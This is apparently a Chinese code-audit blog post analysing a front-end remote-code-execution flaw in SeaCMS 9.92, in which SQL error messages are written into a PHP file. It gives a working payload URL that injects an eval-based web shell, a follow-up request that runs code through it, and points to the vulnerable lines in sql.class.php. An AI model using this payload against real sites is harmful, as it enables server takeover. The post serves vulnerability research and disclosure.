0x01 前言
好久没发代码审计的文章了,最近挺多事情的,无意中看到90Sec上面有一篇seacms前台的getshell,突然就很感兴趣,之前审计这套程序的时候也审计了一下,后面太多事情就搁置了。
0x02 漏洞复现
环境是phpstudy(最近出后门新闻最火的那个),用着也挺方便的。PHP版本是5.x的。 payload:
http://127.0.0.1/comment/api/index.php?gid=1&page=2&rlist[]=*hex/@eval($_GET[_]);?%3E
然后访问:
http://127.0.0.1/data/mysqli_error_trace.php?_=phpinfo();
0x03 漏洞分析
关于这个SQL注入报错的地方,在之前的8.7的一篇文章里面分析过了https://getpass.cn/2019/03/04/Seacms8.7-sql-injection-analysis/
主要的地方还是在于include/sql.class.php
这个文件的465-489行
它会将sql报错的信息写入了一个PHP的文件里,那我们可以就可以让sql语句报错然后将恶意语句写这个文件利用了。
0x04 结束
其实这个漏洞还挺简单的,但是在其他的版本代码是不一样的,我测试了9.2的还有之前写SQL注入的8.7版本都是不能利用的。主要代码如下:
这里是说如果我们要删除第476行的两个反斜杠,然后才可以显示报错的内容。我想是在很久之前的版本是直接写入PHP文件的,但是后面作为更新了,就加上这段代码,然后将之前的PHP存在的就删除掉。 但是这个说是9.92版本出现的就很奇怪了。em…
文章测试的9.92版本程序下载地址:https://www.lanzous.com/i6eupwh
- 原文作者: F0rmat
- 原文链接: https://xxe.icu/seacms-front-desk-getshell.html
- 版权声明:本作品采用 署名 - 非商业性使用 4.0 国际 (CC BY-NC 4.0)进行许可,非商业转载请注明出处(作者,原文链接),商业转载请联系作者获得授权。